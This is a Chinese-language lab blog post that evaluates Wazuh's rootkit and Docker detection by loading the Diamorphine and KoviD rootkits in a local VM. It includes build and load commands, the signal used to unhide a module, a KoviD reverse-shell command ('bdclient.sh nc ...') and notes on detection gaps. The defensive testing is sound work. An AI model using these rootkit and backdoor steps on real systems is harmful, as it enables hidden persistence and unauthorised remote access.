今天就是延續昨天內容繼續測試看看Wazuh檢測能力
接下來是Rootkits的檢測,自己覺得這一個環境是滿重要的項目,
因為rootkits通常不好被發現,但影響又很重,要盡可能有機會偵測到。
Rootkits can hide other processes, files, and network connections.
Wazuh會監控kernel and user space level的rootkits
Anomaly and malware detection原理
主要是靠rootcheck以及syscheck
https://documentation.wazuh.com/current/user-manual/capabilities/anomalies-detection/index.html
Rootcheck 使用其 Rootkit 簽章資料庫執行多項檢查:rootkit_files.txt、rootkit_trojans.txt和win_malware_rcl.txt。可以透過新增簽名來更新,以使用最新資訊執行 Rootkit 檢查
POC:載入Diamorphine rootkit
依照官網提供的POC
https://documentation.wazuh.com/current/proof-of-concept-guide/poc-detect-hidden-process.html
在自己本地端虛擬機測試
git clone https://github.com/m0nad/Diamorphine
sudo apt update
sudo apt install make
cd Diamorphine
sudo make
發生錯誤QQ
wazuh@wazuh-vm:~/Diamorphine$ sudo make
make -C /lib/modules/6.2.0-26-generic/build M=/home/wazuh/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-6.2.0-26-generic'
warning: the compiler differs from the one used to build the kernel
The kernel was built by: x86_64-linux-gnu-gcc-11 (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0
You are using:
CC [M] /home/wazuh/Diamorphine/diamorphine.o
/bin/sh: 1: gcc: not found
make[2]: *** [scripts/Makefile.build:260: /home/wazuh/Diamorphine/diamorphine.o] Error 127
make[1]: *** [Makefile:2026: /home/wazuh/Diamorphine] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-6.2.0-26-generic'
make: *** [Makefile:7: all] Error 2
安裝gcc
sudo apt update
sudo apt install gcc
接著就是重點,載入diamorphine
insmod diamorphine.ko
發現結果會有
Unsigned kernel module was loaded
但並沒有官網截圖的那個Possible kernel level rootkit
Sep 21 23:46:59 wazuh-vm kernel: [ 899.978512] diamorphine: module verification failed: signature and/or required key missing - tainting kernel
因為diamorphine會隱藏自身
所以我們用lsmod是看不到的
可以透過signal 63切換
輸入kill -63 509切換
那個509隨便改成其他數字也可以
再用一次lsmod就可以看到
lsmod | grep diamorphine
kill -63 509
lsmod | grep diamorphine
移除
sudo rmmod diamorphine
關於rootik隱藏這一段就不多說了
對rootik想研究更多,也可以參考我之前的文章
Linux Rootkit 學習資源筆記
POC:載入Kvoid rootkit
也是跟鬼神一般強的rootkit (僅符合特定幾個kernel版本)
https://github.com/carloslack/KoviD
我先前自己有做一個Kvoid測試
不是在這個系列的練習機器上就是了
make完成之後會有一個kovid.ko
載入
sudo insmod ./kovid.ko
移除
sudo rmmod kovid
攻擊者可以執行內建的腳本透過knocking取得一個reverse shell
./bdclient.sh nc 192.168.0.1 9999
載入kernel module時是會有發生possible kernel level rootkit事件
看起來是透過hidden processs發現
不過hidden prcess其實誤判很多
然後kovid,如果是已經埋入rootkit後門
當使用腳本連線後門的時候,是沒有觸發任何事件!QQ
要啟動針對於容器的檢查,我們要修改一下預設的設定
在Server上可以進行中央管理部署的agnet.conf上新增以下設定
內容會同步到agent上面
<agent_config>
<!-- Shared agent configuration here -->
<wodle name="docker-listener">
<disabled>no</disabled>
</wodle>
</agent_config>
docker exec single-node_wazuh.manager_1 service wazuh-manager restart
官方宣稱可以監控的內容
實際上可以都要POC測試看看
https://github.com/wazuh/wazuh/blob/master/ruleset/rules/0560-docker_integration_rules.xml
0560-docker_integration_rules.xml 裡面有記錄所有關於Dokcer的規則
啟動一個hello-world 應該可以同時檢測到下面兩個POC
docker run --rm hello-world
POC: 拉取IMAGE (A Docker image is downloaded or updated)
成功檢測到pull image的事件
POC: 啟動Container (A new container or Pod is created)
可以注意到container的創建/啟動/消滅,都會有事件,並且會顯示容器的名稱
其實上面算是滿完成一個容器週期都會被偵測到
反而是可能會有太多雜訊,之後可以寫一些rule去調整或抑制
POC:嘗試run一個nginx然後進入shell當中
確實有檢測到在container當中執行的shell
docker run -d nginx_4444 -p 4444:80 nginx
docker exec -it nginx_4444 bash
可以得到
Docker: Started shell session in container nginx_4444
POC:嘗試直接run一個debian同時使用bash
docker run -it debian bash
這種方式下
並沒有像是容器啟動後,利用exec調用shell的時候一樣得到shell session的事件
看起來是一個resized terminal size的事件,這個可能要稍微注意一下
Docker: Container debian resized terminal size to 181x46
POC:使用privileged建立容器(A container is running in privileged mode)
docker run -d --privileged --name nginx_pri -p 5555:80 nginx
雖然官方宣稱可以檢測privileged mode
但實際上啟動時沒有觸發任何相關事件,可以看出是privileged的跡象
跟我預想的有一點不一樣
不過這種privileged或是其他模式
可以透過其他IaC跟Compliance as code方式來做檢查也不難就是了
還是給他一個及格
主要四個功能大概POC覺得評估是合格的
這個解決方案就可以繼續導入下去